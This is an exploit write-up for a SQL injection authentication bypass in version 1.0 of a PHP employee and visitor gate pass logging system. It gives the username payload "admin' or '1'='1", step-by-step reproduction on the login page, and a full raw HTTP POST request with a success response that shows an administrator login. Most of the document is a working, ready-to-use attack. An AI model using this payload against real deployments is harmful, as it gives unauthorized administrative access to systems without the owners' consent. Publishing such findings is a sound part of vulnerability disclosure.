Employee And Visitor Gate Pass Logging System 1.0 SQL Injection Vulnerability

# Exploit Title: Employee and Visitor Gate Pass Logging System - SQLi Authentication Bypass
# Exploit Author: Furkan Eren Tetik
# Vendor Homepage: https://www.sourcecodester.com/php/15026/employee-and-visitor-gate-pass-logging-system-php-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=15026&title=Employee+and+Visitor+Gate+Pass+Logging+System+in+PHP+with+Source+Code
# Version: 1.0
# Tested on: Windows 11, Kali Linux
# Employee and Visitor Gate Pass Logging System v1.0 Login page can be bypassed with a simple SQLi to the username parameter.

Steps To Reproduce:
1 - Go to the login page http://localhost/employee_gatepass/admin/login.php
2 - Enter the payload to username field as "admin' or '1'='1" without double-quotes and type anything to password field.
3 - Click on "Login" button and you are logged in as administrator.

PoC

Request

POST /employee_gatepass/classes/Login.php?f=login HTTP/1.1
Host: localhost
Content-Length: 43
sec-ch-ua: "Chromium";v="111", "Not(A:Brand";v="8"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/employee_gatepass/admin/login.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=9f8v4097jovtf6a3igi4l6479i
Connection: close

username=admin'+or+'1'%3D'1&password=furkan

--------------------------------------------------------------------------------------------------------------------------------

response

HTTP/1.1 200 OK
Date: Wed, 29 May 2024 17:01:26 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
X-Powered-By: PHP/8.0.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 20
Connection: close
Content-Type: text/html; charset=UTF-8

{"status":"success"}